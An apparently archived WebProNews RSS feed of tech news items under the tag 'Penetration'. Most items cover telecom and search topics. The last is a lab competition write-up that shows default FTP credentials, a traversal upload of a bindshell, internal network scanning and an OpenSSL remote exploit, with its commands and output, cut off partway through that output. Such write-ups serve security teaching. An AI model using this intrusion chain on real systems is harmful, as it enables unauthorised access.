<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WebProNews &#187; Penetration</title>
	<atom:link href="http://www.webpronews.com/tag/penetration/feed" rel="self" type="application/rss+xml" />
	<link>http://www.webpronews.com</link>
	<description>Breaking News in Tech, Search, Social, &#38; Business</description>
	<lastBuildDate>Mon, 13 Feb 2012 15:27:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>The Skype Phone</title>
		<link>http://www.webpronews.com/the-skype-phone-2007-10</link>
		<comments>http://www.webpronews.com/the-skype-phone-2007-10#comments</comments>
		<pubDate>Tue, 30 Oct 2007 20:04:19 +0000</pubDate>
		<dc:creator>Neville Hobson</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[3]]></category>
		<category><![CDATA[Broadband]]></category>
		<category><![CDATA[Countries]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Free]]></category>
		<category><![CDATA[Growth]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Phone]]></category>
		<category><![CDATA[skype]]></category>
		<category><![CDATA[Skypephone]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=41509</guid>
		<description><![CDATA[<p><a href="http://www.skype.com/">Skype</a>, the internet phone service, is all about disruption.</p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.skype.com/">Skype</a>, the internet phone service, is all about disruption.</p>
<p><span id="more-41509"></span></p>
<p><a href="http://www.3skypephone.com/"><img border="0" style="border-width: 0px;" alt="My Skype Phone" src="http://images.ientrymail.com/webpronews/articlepictures/myskypephone.jpg" title="My Skype Phone" /></a></p>
<p>&nbsp;</p>
<p>I remember thinking, when <a href="http://www.nevon.net/nevon/2004/08/skype_is_a_winn.html" title="started using Skype back in 2004">I first started using Skype</a> back in 2004, that here&rsquo;s a small, nimble company that will drive a massive wedge into traditional telephone service business models.</p>
<p>From a user perspective, the model is dead simple and highly compelling &#8211; free phone calls via your computer to other users of the service, and very low cost calls via your computer to &lsquo;normal&rsquo; telephone numbers, literally anywhere on the planet.</p>
<p>Skype (and its <a href="http://www.gizmoproject.com/" title="Gizmo Project">later</a> <a href="http://www.google.com/talk/" title="Google Talk">competitors</a>) has changed the way millions of people around the world communicate where prohibitive costs of using a phone service are no longer a huge barrier &#8211; a barrier erected by the big telecommunications operators.</p>
<p>Arguably, Skype has played a not insignificant role in the changes we&rsquo;ve seen in the past few years in many countries, notably in Europe and North America, with those very same telecommunications companies, what they offer, and how they price it.</p>
<p>Parallel to all this are continuing advances in technology, especially the rapid <a href="http://www.websiteoptimization.com/bw/0704/" title="rapid growth in broadband internet penetration in many countries">growth in broadband internet penetration in many countries</a> and changes in people&rsquo;s behaviors in terms of what they want, how they want it and when they want it.</p>
<p>This is especially the case with the so-called <a href="http://en.wikipedia.org/wiki/Digital_native" title="digital natives">digital natives</a>, the younger generation who dictate change through their own insistent and influential behaviours.</p>
<p>There&rsquo;s no better way at the moment to drive this point home about changing behaviours (and expectations) than <em>The Rise of the Mobile Super User</em>, a thought-provoking 49-page white paper written by <a href="http://www.mobiletoday.co.uk/content/16737.asp?men=2&amp;sub=24" title="Will Harris">Will Harris</a> and available on <a href="http://www.sixtysecondview.com/?p=466" title="free download from Edelman">free download from Edelman</a>.</p>
<p>These reflections were going through my mind yesterday during the <a href="http://www.flickr.com/photos/nevon/1801905462/in/set-72157602791712631/" title="press launch of the Skypephone ">press launch</a> of the <a href="http://www.3skypephone.com/" title="Skypephone">Skypephone</a> (pictured above), a joint offering from Skype and UK mobile operator <a href="http://www.three.co.uk/">3</a>, which I attended.</p>
<p>It says to me &#8211; this changes everything.</p>
<p>We&rsquo;re moving up a big notch, from broadband tied to computers and so the geographical restrictions on the things you can do (like make and receive free phone calls), to broadband <em>untied</em>, on mobile devices.</p>
<p>Some would argue that this isn&rsquo;t new &#8211; you can get net access on mobile phones already, and have been able to for some years; and, depending on the device, install and use Skype.</p>
<p>True, but not like this.</p>
<p align="center">&nbsp;<a href="http://aj.600z.com/aj/41545/0/cc?z=1"><img width="336" height="55" border="0" alt="" src="http://aj.600z.com/aj/41545/0/vc?z=1&amp;dim=41551" /></a></p>
<p>Not an offering from a mobile operator &#8211; one of the perceived &lsquo;bad guys,&rsquo; if you can take that expression in positive context &#8211; that gives you a device that&rsquo;s centred around Skype which simply lets you connect with people in whatever way you choose: free via Skype, as well as with any other mobile phone on a cellular network.</p>
<p>No, what 3 and Skype are doing with the Skypephone is driving another wedge firmly into the next generation of communication &#8211; mobile.</p>
<p>I can&rsquo;t think of anything that would have prevented any other mobile operator &#8211; <a href="http://www.vodafone.co.uk/" title="Vodafone">Vodafone</a>, <a href="http://www.o2.co.uk/" title="O2">O2</a>, <a href="http://www.t-mobile.co.uk/" title="T-Mobile">T-Mobile</a>, <a href="http://www.organge.co.uk/" title="Orange">Orange</a>&hellip; take your pick &#8211; from doing something like this other than maintaining the high pricing status quo.</p>
<p>Skype would be willing &#8211; in the briefing, Skype acting CEO <a href="http://about.skype.com/executiveteam/michaelvanswaaij/" title="Skype acting CEO Michael van Swaaij">Michael van Swaaij</a> quipped that Vodafone can call him any time for talks.</p>
<p>But who in their right business mind would offer a handset and associated services that includes making and receiving calls for free via their network? A crazy notion, isn&rsquo;t it?</p>
<p>Well, if it&rsquo;s crazy, then welcome to the asylum!</p>
<p>It gets better when you think of business use of a product like the Skypephone.</p>
<p>One of the questions I asked <a href="http://www.three.co.uk/aboutus/directorspopup.omp?cid=1181320234430&amp;index=1" title="Kevin Russell, 3&rsquo;s CEO">Kevin Russell</a>, 3&rsquo;s CEO, in yesterday&rsquo;s press briefing was how he saw business opportunities for the Skypephone, given that it&rsquo;s being positioned right now as a consumer product.</p>
<p>His said if (I&rsquo;d day more likely &lsquo;when&rsquo;) 3 were to target businesses, it would be the small- to medium-size business sector (which is a classic Skype business target).</p>
<p>But he mentioned anecdotally that his first sale of a Skypephone was to the CEO of a large company who wants to communicate with his 10,000 employees.</p>
<p>That&rsquo;s the thin edge of a very wide wedge.</p>
<p>I was also interested to hear Kevin say that <a href="http://en.wikipedia.org/wiki/Experiential_marketing" title="experiential marketing">experiential marketing</a> and <a href="http://en.wikipedia.org/wiki/Word_of_mouth">word of mouth</a> will play significant roles in 3&rsquo;s marketing and communication of the Skypephone and engagement with users and influencers.</p>
<p>So don&rsquo;t expect any 30-second TV spots. Instead, look for blogosphere and related online commentary.</p>
<p>Following the press briefing, I spoke with <a href="http://www.hutchison3g.com/aboutus/directorspopup.omp?cid=1159456798235&amp;index=5" title="John Penberthy-Smith, 3&rsquo;s marketing director">John Penberthy-Smith</a>, 3&rsquo;s marketing director. Our conversation included this topic.</p>
<p>That interview will be posted soon as an <a href="http://www.forimmediaterelease.biz/" title="FIR ">FIR</a> Interview podcast (and I&rsquo;ll add a link in this post when it is).</p>
<p>The Skypephone goes on sale in the UK on November 2 for &pound;49.99 (talk about affordable) on pay-as-you-go, and free if you take out a contract.</p>
<p>It will roll out elsewhere in Europe and Australia in the coming weeks. There are no current plans to offer the phone in the USA.</p>
<p>I have not one but <em>two</em> Skypephones to play with for the next three months, courtesy of 3. Review to come (taster: this is one very cool gadget!).</p>
<p>Meanwhile, you can follow what other Skypephone players are doing with their phones at <a href="http://www.3mobilebuzz.com/" title="3mobilebuzz.">3mobilebuzz</a>.</p>
<p><a title="Comment on Skype phone" href="http://www.nevillehobson.com/2007/10/30/skypephone-changes-everything/#comments">Comments</a></p>
<p>Tag: </p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/the-skype-phone-2007-10/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>U.S. Mobile Penetration To Reach 100%</title>
		<link>http://www.webpronews.com/u-s-mobile-penetration-to-reach-100-2007-08</link>
		<comments>http://www.webpronews.com/u-s-mobile-penetration-to-reach-100-2007-08#comments</comments>
		<pubDate>Fri, 31 Aug 2007 22:18:05 +0000</pubDate>
		<dc:creator>Mike Sachoff</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[Mobile phones]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Reach]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=40170</guid>
		<description><![CDATA[<p>Expect more than one mobile phone for every person in the U.S. by 2013, according to new data from SNL Kagan.</p>
]]></description>
			<content:encoded><![CDATA[<p>Expect more than one mobile phone for every person in the U.S. by 2013, according to new data from SNL Kagan.</p>
<p><span id="more-40170"></span></p>
<p>That is an increase from the current 84 percent penetration level of the U.S. population (including business, consumer and double users) who have mobile phones. Kagan projects that mobile phone subscriptions will grow about 13 percent through 2017, faster than the country&#8217;s 1 percent population growth.</p>
<p>&quot;If carriers can hold onto their position in the revenue chain, data is poised to give them a second growth spurt,&quot; said Sharon Armbrust, a senior analyst at SNL <a title="Mobile Phones" href="http://www.snl.com/media_comm/">Kagan</a>.</p>
<p>&quot;While subscriber units and voice revenue will inch along, we expect data revenue to grow at a compound annual 14% rate over the next 10 years, rising to at least 22% of service revenue, compared to under 10% today,&quot; she said.</p>
<p>SNL Kagan predicts total mobile industry average revenue per users will grow at an inflation- paced compound annual growth rate of 1.5 percent over the next 10 years, to $61.9 in 2017 from $52.38 in August 2007.</p>
<p>&nbsp;</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/u-s-mobile-penetration-to-reach-100-2007-08/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wikipedia&#8217;s Google Penetration</title>
		<link>http://www.webpronews.com/wikipedias-google-penetration-2007-06</link>
		<comments>http://www.webpronews.com/wikipedias-google-penetration-2007-06#comments</comments>
		<pubDate>Wed, 27 Jun 2007 17:08:14 +0000</pubDate>
		<dc:creator>Nathan Weinberg</dc:creator>
				<category><![CDATA[Search]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Pages]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Study]]></category>
		<category><![CDATA[Threadwatch]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=38787</guid>
		<description><![CDATA[<div class="storycontent">Via <a title="ThreadWatch" href="http://www.threadwatch.org/node/15928">ThreadWatch</a>, this <a title="study of where Wikipedia pages appear" href="http://www.thegooglecache.com/white-hat-seo/966-of-wikipedia-pages-rank-in-googles-top-10/">study of where Wikipedia pages appear</a> in Google results for a search for that phrase, and found that in about 580 out of 600 randomly chosen Wikipedia pages, the Wikipedia page appeared in Google&#8217;s top 10. That&#8217;s just incredible, a number we can pretty much point to and show how much power Wikipedia has in Google, with 96.66% of those pages surveyed making it into the top 10. The only ones that didn&#8217;t make it:]]></description>
			<content:encoded><![CDATA[<div class="storycontent">Via <a title="ThreadWatch" href="http://www.threadwatch.org/node/15928">ThreadWatch</a>, this <a title="study of where Wikipedia pages appear" href="http://www.thegooglecache.com/white-hat-seo/966-of-wikipedia-pages-rank-in-googles-top-10/">study of where Wikipedia pages appear</a> in Google results for a search for that phrase, and found that in about 580 out of 600 randomly chosen Wikipedia pages, the Wikipedia page appeared in Google&rsquo;s top 10. That&rsquo;s just incredible, a number we can pretty much point to and show how much power Wikipedia has in Google, with 96.66% of those pages surveyed making it into the top 10. The only ones that didn&rsquo;t make it:<span id="more-38787"></span></p>
<ol>
<li>Veil of Darkness</li>
<p></p>
<li>Central Hudson Gas &amp; Electric Corp. v. Public Service Commission</li>
<p></p>
<li>Group key</li>
<p></p>
<li>Tacca leontopetaloides</li>
<p></p>
<li>American Culinary Federation</li>
<p></p>
<li>WCTI-LP</li>
<p></p>
<li>Eric Marshall</li>
<p></p>
<li>YAF</li>
<p></p>
<li>Line by Line</li>
<p></p>
<li>Tolleson Union High School</li>
<p></p>
<li>Ken Kocher</li>
<p></p>
<li>Riskbase</li>
<p></p>
<li>Rae Valentine</li>
<p></p>
<li>Fire Prevention Week</li>
<p></p>
<li>Win My Soul</li>
<p></p>
<li>Chewy Granola Bars</li>
<p></p>
<li>United Nations Security Council Resolution 31</li>
<p></p>
<li>A Single</li>
<p></p>
<li>Jean &Eacute;tienne Berc&eacute;</li>
<p></p>
<li>Isaac Fraser</li>
<p></p>
<li>FICA (disambiguation)</li>
<p></p>
<li>Lance Broadway</li>
<p></p>
<li>Victoriana</li>
<p></p>
<li>UC San Diego School of Medicine</li>
<p></p>
<li>Gordon</li>
<p></p>
<li>Whipped Cream &amp; Other Delights</li>
<p></p>
<li>With This Ring</li>
<p></p>
<li>Spinsterhood</li>
</ol>
</div>
<p><a title="Comment on Wikipedia Google penetration" href="http://google.blognewschannel.com/archives/2007/06/27/wikipedia-has-9666-google-penetration/">Comments</a></p>
<p>Tag: </p>
<p>Tag: </p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/wikipedias-google-penetration-2007-06/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>US Broadband Penetration Just Stinks</title>
		<link>http://www.webpronews.com/us-broadband-penetration-just-stinks-2007-04</link>
		<comments>http://www.webpronews.com/us-broadband-penetration-just-stinks-2007-04#comments</comments>
		<pubDate>Mon, 23 Apr 2007 23:55:26 +0000</pubDate>
		<dc:creator>WebProNews Staff</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[astroturfing]]></category>
		<category><![CDATA[Broadband]]></category>
		<category><![CDATA[Free]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Policy]]></category>
		<category><![CDATA[Telecom]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=37194</guid>
		<description><![CDATA[<p>The United States has 58.1 million broadband (256 kbps or better) in December 2006, but at 19.6 subscribers per 100 inhabitants, America is just average at getting broadband to the people.</p>	 
	<table border="0" cellpadding="2" cellspacing="0" width="400">
	<tbody><tr>
	<td align="center"><img src="http://images.ientrymail.com/webpronews/article_pics/USBroadband.jpg" title="US Broadband Penetration Just Stinks" alt="US Broadband Penetration Just Stinks" class="irImage" border="0" height="200" width="400"></td>
	</tr>
	<tr>
		  <td style="padding-bottom: 10px; padding-left: 45px; padding-right: 45px;" class="caption" align="right">US Broadband Penetration Just Stinks</td>
	</tr>
	<tr>
	<td style="padding-bottom: 0px;" class="caption" align="center"><img src="http://images.ientrymail.com/webpronews/salon/complete.gif" alt="US Broadband Penetration Just Stinks" height="21" width="334"></td>
	</tr>
	</tbody></table>
]]></description>
			<content:encoded><![CDATA[<p>The United States has 58.1 million broadband (256 kbps or better) in December 2006, but at 19.6 subscribers per 100 inhabitants, America is just average at getting broadband to the people.</p>
<table border="0" cellpadding="2" cellspacing="0" width="400">
<tbody>
<tr>
<td align="center"><img src="http://images.ientrymail.com/webpronews/article_pics/USBroadband.jpg" title="US Broadband Penetration Just Stinks" alt="US Broadband Penetration Just Stinks" class="irImage" border="0" height="200" width="400"></td>
</tr>
<tr>
<td style="padding-bottom: 10px; padding-left: 45px; padding-right: 45px;" class="caption" align="right">US Broadband Penetration Just Stinks</td>
</tr>
<tr>
<td style="padding-bottom: 0px;" class="caption" align="center"><img src="http://images.ientrymail.com/webpronews/salon/complete.gif" alt="US Broadband Penetration Just Stinks" height="21" width="334"></td>
</tr>
</tbody>
</table>
<p><span id="more-37194"></span></p>
<p>The Organisation for Economic Co-operation and Development released its <a title="broadband penetration" href="http://www.oecd.org/sti/ict/broadband">broadband penetration</a> report for December 2006. This look at 30 countries and their number of broadband subscribers looks good for parts of Europe.</p>
<p>For the United States, it just stinks. The US growth rate for broadband penetration now rates 20th out of the 30 countries. In per capita broadband use, the US is very average, rating in 15th place.</p>
<p>The paltry speeds US providers deliver to customers come at a dear price. An article by <a title="freepress" href="http://www.freepress.net/press/release.php?id=226">Free Press</a> noted an advance look at another OECD report; June&#8217;s &quot;The Communications Outlook 2007&quot; says the world&#8217;s broadband leaders pay less than $1 per Mbps of service.</p>
<p>Here, our telcos and other ISPs get away with rates of around $10 per Mbps.</p>
<p>&quot;We are failing to bring the benefits of broadband to all our citizens, and the consequences will resonate for generations,&quot; said Ben Scott, policy of director of Free Press. &quot;There is no justification for America&#8217;s declining status as a global Internet leader.&quot;</p>
<p>The Free Press analysis of the OECD report included this nugget:</p>
<blockquote><p><em>If broadband penetration were 50 percent of all U.S. homes, economists estimate that consumers would realize a $38 billion annual surplus. If household broadband penetration were at 95 percent, the consumer surplus would be $350 billion.</em></p></blockquote>
<p>  Let&#8217;s go back to around this time last year, where telecom analyst Bruce Kushnick <a href="http://www.webpronews.com/topnews/2006/02/07/telcos-up-ante-in-net-neutrality-game">assessed the 1996 Telecom Act</a> and found that its ten year timetable called for 45 Mbps to 86 million US households as of last year. Telecoms enjoyed over $200 billion in tax breaks and other benefits from the Telecom Act.</p>
<p>Now there are calls for fiber to the home by 2015. <a title="Om Malik" href="http://gigaom.com/2007/04/16/100-megabits-to-the-home-by-2015/">Om Malik</a> cited a call from the <a href="http://www.ftthcouncil.org/">Fiber to the Home Council</a> for Congress and the President to push for 100Mbps connections to the home in eight years.</p>
<p>Considering the <a href="http://opensecrets.org/industries/indus.asp?Ind=B08">influence</a> the telecom industry has with Congress, and President Bush&#8217;s lame-duck status, we are not optimistic about seeing 100Mbps to the home by 2015, or even 3015. Telcos make a tidy profit on minuscule bandwidth, and without a revolutionary way to deliver bandwidth that bypasses them, they have no real motivation to change the status quo.</p>
<p><small></small></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/us-broadband-penetration-just-stinks-2007-04/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Copernic Initiates European Market Penetration Strategy</title>
		<link>http://www.webpronews.com/copernic-initiates-european-market-penetration-strategy-2004-11</link>
		<comments>http://www.webpronews.com/copernic-initiates-european-market-penetration-strategy-2004-11#comments</comments>
		<pubDate>Wed, 03 Nov 2004 17:52:05 +0000</pubDate>
		<dc:creator>WebProNews</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Market]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=12534</guid>
		<description><![CDATA[Copernic and its international business development partner Contraco initiated a European market penetration strategy by announcing German, French, and Dutch versions of the award-winning Copernic Desktop Search (CDS) product, with an Italian version soon to follow.
]]></description>
			<content:encoded><![CDATA[<p>Copernic and its international business development partner Contraco initiated a European market penetration strategy by announcing German, French, and Dutch versions of the award-winning Copernic Desktop Search (CDS) product, with an Italian version soon to follow.</p>
<p>Copernic continues to outmaneuver both Microsoft and Google in the battle for desktop search supremacy, as Google Desktop Search is only available in English and Microsoft has yet to launch its new desktop search product. </p>
<p>CDS enables users to instantly search their personal files, emails and attachments as well as pictures, music, and videos. Copernic recently announced CDS 1.1, which allows users to experience a more refined search, thanks to performance optimizations, new customization options, user interface improvements, and better compatibility. </p>
<p>&#8220;We are aggressively following our strategy to accelerate market penetration through low cost international mass distribution and licensing partnerships,&#8221; said David M. Burns, Copernic CEO. &#8220;Copernic is already a strong search brand in Europe. Our goal is to quickly outperform the success of Copernic Agent, which has been downloaded by more than 15 million users across Europe. Our strategic partnerships in both Europe and Asia will solidify Copernic&#8217;s position as the clear alternative to Google and Microsoft in the desktop search market.&#8221; </p>
<p>&#8220;Having CDS available in key European core languages enables us to meet the needs of the leading European Internet portals and ISP&#8217;s,&#8221; said Frank Meltke, CEO of Contraco, a Copernic distribution partner for Europe and Asia. &#8220;With Korean and other Asian language versions of CDS in the pipeline, we can turn our focus to broadband markets in Korea and Japan.&#8221;</p>
<p>WebProNews | Breaking eBusiness News<br />
Your source for investigative ebusiness reporting and breaking news.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/copernic-initiates-european-market-penetration-strategy-2004-11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How I Got Root  A Penetration Testers Diary</title>
		<link>http://www.webpronews.com/how-i-got-root-a-penetration-testers-diary-2004-02</link>
		<comments>http://www.webpronews.com/how-i-got-root-a-penetration-testers-diary-2004-02#comments</comments>
		<pubDate>Wed, 11 Feb 2004 14:19:47 +0000</pubDate>
		<dc:creator>Mati Aharoni</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[Penetration]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=8683</guid>
		<description><![CDATA[This is a possible solution to hacking competition #6, held on SecureIT (15.1.04).
]]></description>
			<content:encoded><![CDATA[<p>This is a possible solution to hacking competition #6, held on SecureIT (15.1.04).</p>
<p>This is actually a replication (lab conditions) of one of my latest penetration tests, which I enjoyed thoroughly. </p>
<p>I would like to thank the anonymous company for allowing me to replicate their network environment, and allowing me to write up this tutorial. Cheers to you all.</p>
<p><b>1.</b>	A quick scan of hacktest.no-ip.com reveals several open ports. The fact that ports 1025 / 1026 / 3372 are open, suggests this machine is not firewalled, and is connected directly to the internet.</p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure1.gif"></center></p>
<p><b>2.</b>	It looks like a Windows 2000 box (due to the versions of the WEB and SMTP server). There also seems to be a 3rd party ftp server &#8211; Flash FTP server 2.1. </p>
<p><b>3.</b>	I seem to remember seeing a recent vulnerability in flash ftp server, and a quick google search affirms my suspicions. </p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure2.gif"></center></p>
<p><b>4.</b>	With a bit of trial and error, I find that the ftp username and password is ftp / ftp.</p>
<p><b>5.</b>	I log on to the ftp, and check where the ftp home directory lies. I attempt to upload a bindshell (srvcmd.exe) to the default location of the IIS &#8220;scripts&#8221; directory (using file traversal) , in order to be able to execute the bindshell. </p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure3.gif"></center></p>
<p><b>6.</b>	Once that&#8217;s done, I execute srvcmd.exe by pointing my web browser to it.</p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure4.gif"></center></p>
<p><b>7.</b>	Once executed, the bindshell opens a cmd shell at port 2323. What&#8217;s this? A dual homed machine?</p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure5.gif"></center></p>
<p><b>8.</b>	We now have IUSR privileges on the Windows box, and the ability to ftp files to the machine using username ftp / ftp.</p>
<p><b>9.</b>	 We upload out favorite toolkit to the ftp server, including a port scanner, and scan the internal network (192.168.0.0/24). </p>
<p><a name="code"></a><code>scan the internal network (192.168.0.0/24).<br />
C:internetftpserver&gt;<b>sl -bhtz 192.168.0.1-254</b><br />
sl -bhtz 192.168.0.1-254Scan of 254 IPs started at Thu Jan 15 19:28:45 2004<br />
------------------------------------------------------------------------------<br />
<b>192.168.0.1</b><br />
Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 25 80 135 139 443 445 1025 1026 3372 3389<br />
UDP ports: 53 67 68 135 137 138 445 500 3456</p>
<p>TCP 25:<br />
[220 5604625cc767428 Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Thu, 15 Jan 2004 19:28:54 -0800]</p>
<p>TCP 80:<br />
[HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Fri, 16 Jan 2004 03:28:55 GMT Location: localstart.asp Connection: Keep-Alive Content-Length: 121C]</p>
<p>------------------------------------------------------------------------------<br />
<b>192.168.0.111</b><br />
Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 21 22 80 111 389 443 3306 10000 32768<br />
UDP ports: 68 69 111 123 135 137 138 191 192 256 260 407 445 500 514 520 1009 10 24 1027 1028 1030 1033 1034 1035 1037 1041 1058 1060 1091 1352 1645 1646 1812 18 13 1900 1978 2002 2049 2140 2161 2301 2493 2631 2967 3179 3327 3456 4045 4156 42 96 4469 4802 5631 11487 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32778 32779 32780 32781 32782 32783 32784 32785 32786 32787 32788 32789 43981</p>
<p>TCP 21:<br />
[Compiled-in modules: mod_core.c mod_auth.c mod_xfer.c mod_site.c mod_ls.c mod_unixpw.c mod_log.c mod_linuxprivs.c mod_ratio.c mod_readme.c mod_pam.c mod_quot]</p>
<p>TCP 22:[SSH-1.99-OpenSSH_3.1p1]</p>
<p>TCP 80:[HTTP/1.1 200 OK Date: Thu, 15 Jan 2004 19:55:17 GMT Server:Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk) mod_ssl/2.8.7 OpenSSL/0.9.6c PHP/4.1.2]</p>
<p>TCP 443:<br />
[HTTP/1.1 400 Bad Request Date: Thu, 15 Jan 2004 19:55:20 GMT Server: Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk) mod_ssl/2.8.7 OpenSSL/0.9.6c]</p>
<p>TCP 3306:<br />
[D j Host '192.168.0.1' is not allowed to connect to this MySQL server]</p>
<p>TCP 10000:<br />
[HTTP/1.0 400 Bad Request]</p>
<p>------------------------------------------------------------------------------</p>
<p><b>192.168.0.201</b><br />
Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 80 139 389<br />
UDP ports: 135 137</p>
<p>TCP 80:<br />
[HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 15 Jan 2004 14:55:18 GMT Connection: Keep-Alive Content-Length: 1270 Content-Type: text/html Set-Cookie:]</p>
<p>------------------------------------------------------------------------------</p>
<p><b>192.168.0.202</b></p>
<p>Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 21 110 389<br />
UDP ports:</p>
<p>TCP 21:<br />
[220 box82. FTP server (Version wu-2.6.0(5) Thu Jan 15 14:55:16 EST 2004) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS.]</p>
<p>TCP 110:[+OK POP3 box82 V1999 server ready -ERR Null command -ERR Null command]</p>
<p>------------------------------------------------------------------------------</p>
<p><b>192.168.0.203</b></p>
<p>Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 23 389<br />
UDP ports:</p>
<p>------------------------------------------------------------------------------</p>
<p><b>192.168.0.204</b><br />
Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 22 389<br />
UDP ports:</p>
<p>TCP 22:<br />
[SSH-1.5-2.40]</p>
<p>------------------------------------------------------------------------------</p>
<p><b>192.168.0.205</b><br />
Responded in 0 ms.<br />
0 hops away<br />
Responds with ICMP unreachable: Yes<br />
TCP ports: 15 389UDP ports:</p>
<p>------------------------------------------------------------------------------</p>
<p>Scan finished at Thu Jan 15 19:29:25 2004ScanLine (TM) 1.01<br />
Copyright (c) Foundstone, Inc. 2002</p>
<p>http://www.foundstone.com</p>
<p>7 IPs and 1869 ports scanned in 0 hours 0 mins 40.87 secs</p>
<p>C:internetftpserver> </code></p>
<p><b>10.</b>	Several machines show up, including their banners. All machines other than 192.168.0.111 are virtual. I was running HoneyD so simulate a larger network. Identifying the real linux box (192.168.0.111 &#8211; Running mandrake 8.2) took a long time, so I&#8217;ll just cut the story short J.</p>
<p><b>11.</b>	I identify a quickly exploitable service on the mandrake machine (openssl), and upload a cygwin compiled version of the exploit (including dll&#8217;s) into the ftp directory. I execute the exploit, and get a shell on the internal mandrake box.</p>
<p><code>C:internetftpserver&gt;<b>dir</b><br />
dir<br />
Volume in drive C has no label.<br />
Volume Serial Number is 20AA-0A2D </p>
<p>Directory of C:internetftpserver</p>
<p>01/15/2004  07:32p      &lt;DIR&gt;          .<br />
01/15/2004  07:32p      &lt;DIR&gt;          ..<br />
01/15/2004  07:32p             705,042 cygcrypto-0.9.7.dll<br />
01/15/2004  07:32p             666,528 cygwin1.dll<br />
01/14/2004  07:16p      &lt;DIR&gt;          Logs<br />
01/15/2004  04:48p              59,392 nc.exe<br />
01/15/2004  07:32p             122,368 openssl-too-open.exe<br />
01/15/2004  06:40p              20,480 sl.exe<br />
01/14/2004  11:01p              32,768 srvcmd.exe<br />
               6 File(s)      1,606,578 bytes<br />
               3 Dir(s)   2,579,120,128 bytes free</p>
<p>C:internetftpserver>openssl-too-open.exe -a 0x15 -v 192.168.0.111<br />
openssl-too-open.exe -a 0x15 -v 192.168.0.111<br />
: openssl-too-open : OpenSSL remote exploit<br />
by Solar Eclipse &lt;solareclipse@phreedom.org&gt;</p>
<p>: Opening 30 connections<br />
Establishing SSL connections </p>
<p>-> ssl_connect_host<br />
-> ssl_connect_host<br />
-> ssl_connect_host<br />
-> ssl_connect_host<br />
: Using the OpenSSL info leak to retrieve the addresses<br />
-> send_client_hello<br />
-> get_server_hello<br />
-> send_client_master_key<br />
-> generate_session_keys<br />
-> get_server_verify<br />
-> send_client_finished<br />
-> get_server_finished<br />
ssl0 : 0x811c038<br />
-> send_client_hello<br />
-> get_server_hello<br />
-> send_client_master_key<br />
-> generate_session_keys<br />
-> get_server_verify<br />
-> send_client_finished<br />
-> get_server_finished<br />
ssl1 : 0x811c038<br />
-> send_client_hello<br />
-> get_server_hello<br />
-> send_client_master_key<br />
-> generate_session_keys<br />
-> get_server_verify<br />
-> send_client_finished<br />
-> get_server_finished<br />
